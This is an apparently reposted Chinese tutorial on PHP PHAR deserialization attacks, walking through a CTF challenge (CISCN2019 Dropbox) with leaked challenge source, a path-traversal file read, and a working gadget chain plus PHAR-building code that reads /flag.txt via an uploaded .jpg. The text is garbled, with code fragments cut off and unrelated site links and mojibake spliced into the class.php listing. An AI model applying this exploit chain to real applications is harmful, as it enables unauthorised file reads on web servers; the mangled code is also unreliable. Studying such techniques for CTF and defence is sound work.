欢迎大家来到IT世界,在知识的湖畔探索吧!
PHAR (“Php ARchive”) 是PHP中的打包文件,相当于Java中的JAR文件,在php5.3或者更高的版本中默认开启。PHAR文件缺省状态是只读的,当我们要创建一个Phar文件需要修改php.ini中的phar.readonly,修改为:phar.readonly = 0
当通过phar://协议对phar文件进行文件操作时,将会对phar文件中的Meta-data进行反序列化操作,可能造成一些反序列化漏洞。
本文由锦行科技的安全研究团队提供,从攻击者的角度展示了PHAR反序列化攻击的原理和过程。
PHAR文件结构
stub phar:文件标识,格式为xxx
,该部分必须以 __HALT_COMPILER();?> 进行结尾,否则将无法识别,前面的内容无限制要求。
manifest:压缩文件的属性等信息,其中的Meta-data会以序列化的形式存储。
欢迎大家来到IT世界,在知识的湖畔探索吧!
contents:压缩文件的内容
signature:签名,放在文件末尾
生成PHAR文件
生成程序如下:
startBuffering(); $phar -> setStub("
"); //设置Stub $o = new Test(); $o -> data='test'; $phar -> setMetadata($o); //设置Meta-data $phar -> addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar -> stopBuffering(); ?>
欢迎大家来到IT世界,在知识的湖畔探索吧!
生成phar文件,使用16进制工具查看,可以看到Meta-data中的序列化对象
测试反序列化
测试程序如下:
欢迎大家来到IT世界,在知识的湖畔探索吧!
data; //对象销毁时执行 } } include('phar://phar.phar'); ?>
运行结果,可以看到打印了‘test’,证明对象被反序列化创建后销毁。
虽然在创建PHAR文件时后缀是固定的,但完成创建后我们是可以修改phar的后缀名的,例如修改成.jpg,当执行include(‘phar://phar.jpg’);时也可触发反序列化。
几乎所有文件操作函数都可触发phar反序列化
CTF演示
题目地址:[CISCN2019 华北赛区 Day1 Web1]Dropbox(链接:
https://buuoj.cn/challenges#
%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox)
进入题目后,随意注册账号上传文件,上传点只能上传图片后缀
点击下载,有任意文件读取,但是不能读取flag.txt
于是读取网页源码,传入filename=../../xxx.php
detele.php
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
class.php
欢迎大家来到IT世界,在知识的湖畔探索吧!db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '分析源代码可以看到删除文件时使用了File类的delete函数,File类的delete使用了unlink函数,可以触发phar反序列化。继续看到class.php的File类的close()函数中调用了file_get_contents函数,可以读取文件。但是要怎么触发呢,我们可以看到FileList的__call函数,如果我们可以让FileList参数files为数组且数组中一个类为File,只要有类可以执行$FileList->close(),就可以读取文件并在FileList的析构函数中显示出来了。我们看到User类的析构函数,执行了$db->close()。so,我们让User的$db参数等于FileList就行了。利用链:User类的$db赋值为FileList类,User类的析构函数执行close方法->触发FileList的__call函数,让$file值为File,执行$file的close函数->File执行close读取文件,控制$filename为想读取的文件->FileList对象销毁,执行析构函数,回显结果。生成phar文件代码:filename = $filename; } } class FileList{ private $files; public function __construct(){ $this->files=array(new File('/flag.txt')); } } $user = new User(); $user->db = new FileList(); $phar = new Phar("phar.phar"); $phar -> startBuffering(); $phar -> setStub(" "); $phar -> setMetadata($user); $phar->addFromString("test.txt", "test"); $phar -> stopBuffering(); ?>
生成phar文件,修改后缀为jpg,上传
删除文件处修改filename为‘phar://phar.jpg’,读取到flag文件![]()
举报热门:
- 歌曲模板歌词跳
- 云非的歌曲
- 《歌》c调
- 全国跑操神曲
- 吃喝玩乐的一天
- 清风雨悠扬
- 1000x 3
- old tow
- titanic
- 推车倒放音乐
'; $table .= '
'; foreach ($this->funcs as $func) { $table .= ' '; foreach ($this->results as $filename => $result) { $table .= '' . htmlentities($func) . ' '; } $table .= '
Opt '; $table .= '
'; foreach ($result as $func => $value) { $table .= ' ' . htmlentities($value) . ' '; } $table .= '
涓嬭浇 / 鍒犻櫎 '; $table .= '
'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4 i size return roundsize 2.unitsi public function detele unlinkthis->filename); } public function close() { return file_get_contents($this->filename); } } ?>
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/112430.html
0
请先
后发表评论~